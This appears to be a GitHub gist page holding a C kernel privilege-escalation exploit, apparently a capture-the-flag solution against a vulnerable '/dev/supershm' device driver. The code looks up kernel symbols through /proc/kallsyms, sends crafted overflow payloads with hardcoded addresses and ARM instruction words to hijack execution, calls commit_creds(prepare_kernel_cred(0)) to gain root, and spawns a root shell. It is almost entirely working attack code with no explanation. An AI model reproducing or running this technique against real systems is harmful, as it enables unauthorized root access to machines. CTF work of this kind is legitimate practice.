-
-
Save potetisensei/a8043c715a622d7e6fb7 to your computer and use it in GitHub Desktop.
JFK/UMass
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <stdlib.h> | |
#include <stdint.h> | |
#include <string.h> | |
#include <ctype.h> | |
#include <assert.h> | |
#include <sys/types.h> | |
#include <sys/stat.h> | |
#include <fcntl.h> | |
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); | |
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); | |
_prepare_kernel_cred prepare_kernel_cred; | |
_commit_creds commit_creds; | |
void (*printk)(char *format, ...); | |
int (*run_init_process)(const char *); | |
int privesc() | |
{ | |
commit_creds(prepare_kernel_cred(0)); | |
return 0; | |
} | |
/* look up an exported Kernel symbol */ | |
void *findksym(const char *sym) | |
{ | |
void *p, *ret; | |
FILE *fp; | |
char s[1024]; | |
size_t sym_len = strlen(sym); | |
fp = fopen("/proc/kallsyms", "r"); | |
if(!fp) | |
err(-1, "cannot open kallsyms: fopen"); | |
ret = NULL; | |
while(fscanf(fp, "%p %*c %1024s\n", &p, s) == 2) { | |
if(!!strncmp(sym, s, sym_len)) | |
continue; | |
ret = p; | |
break; | |
} | |
fclose(fp); | |
return ret; | |
} | |
void prepare_privesc_code(void) | |
{ | |
prepare_kernel_cred = findksym("prepare_kernel_cred"); | |
commit_creds = findksym("commit_creds"); | |
printk = findksym("printk"); | |
run_init_process = findksym("run_init_process"); | |
assert(prepare_kernel_cred && commit_creds && printk && run_init_process); | |
printf("prepare_kernel_cred: %p, commit_creds: %p, printk: %p run_init_process: %p\n", prepare_kernel_cred, commit_creds, printk, run_init_process); | |
} | |
void create_storage(char *name) { | |
char *query = calloc(1, strlen(name) + 2); | |
int fd = open("/dev/supershm", O_WRONLY); | |
assert(query); | |
assert(fd >= 0); | |
query[0] = 'c'; | |
memcpy(query+1, name, strlen(name)); | |
puts(query); | |
write(fd, query, strlen(query)); | |
close(fd); | |
free(query); | |
} | |
void delete_storage(char *name) { | |
char *query = calloc(1, strlen(name) + 2); | |
int fd = open("/dev/supershm", O_WRONLY); | |
assert(query); | |
assert(fd >= 0); | |
query[0] = 'd'; | |
memcpy(query+1, name, strlen(name)); | |
puts(query); | |
write(fd, query, strlen(query)); | |
close(fd); | |
free(query); | |
} | |
void update_storage(char *name, void *content, size_t size) { | |
char *query = calloc(1, strlen(name) + 2); | |
int fd = open("/dev/supershm", O_WRONLY); | |
assert(query); | |
assert(fd >= 0); | |
query[0] = 'u'; | |
memcpy(query+1, name, strlen(name)); | |
puts(query); | |
write(fd, query, strlen(query)); | |
puts(content); | |
write(fd, content, size); | |
close(fd); | |
free(query); | |
} | |
int read_storage(char *name) { | |
char *query = calloc(1, strlen(name) + 2); | |
int fd = open("/dev/supershm", O_WRONLY); | |
char buf[1024] = ""; | |
assert(query); | |
assert(fd >= 0); | |
query[0] = 's'; | |
memcpy(query+1, name, strlen(name)); | |
puts(query); | |
write(fd, query, strlen(query)); | |
free(query); | |
close(fd); | |
fd = open("/dev/supershm", O_RDONLY); | |
assert(fd >= 0); | |
read(fd, buf, 1024); | |
puts(buf); | |
close(fd); | |
return *((int*)buf); | |
} | |
int main() { | |
int i; | |
unsigned int target; | |
char payload1[37] = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; | |
char *privescp = &privesc; | |
char payload2[5] = ""; | |
char *argv[] = {"/bin/sh", NULL}; | |
char *envp[] = {NULL}; | |
unsigned int vals[] = {0xe3a0408d, 0xe1a04404, 0xe284400c, 0xe12fff14, 0xe1a0f00e}; | |
prepare_privesc_code(); | |
target = 0xbf01042c; | |
strncat(payload1, (char*)&target, 4); | |
create_storage(payload1); | |
delete_storage(payload1); | |
target = 0xbf00042c; | |
strncpy(payload1, "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", 33); | |
strncat(payload1, (char*)&target, 4); | |
create_storage(payload1); | |
create_storage("vuln"); | |
printf("Write: %x\n", vals[0]); | |
update_storage("vuln", vals, 4 * 5); | |
delete_storage(payload1); | |
delete_storage("vuln"); | |
read_storage("vuln"); // pwn | |
if (getuid()) { | |
puts("failed."); | |
exit(0); | |
} else { | |
execve("/bin/sh", argv, envp); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment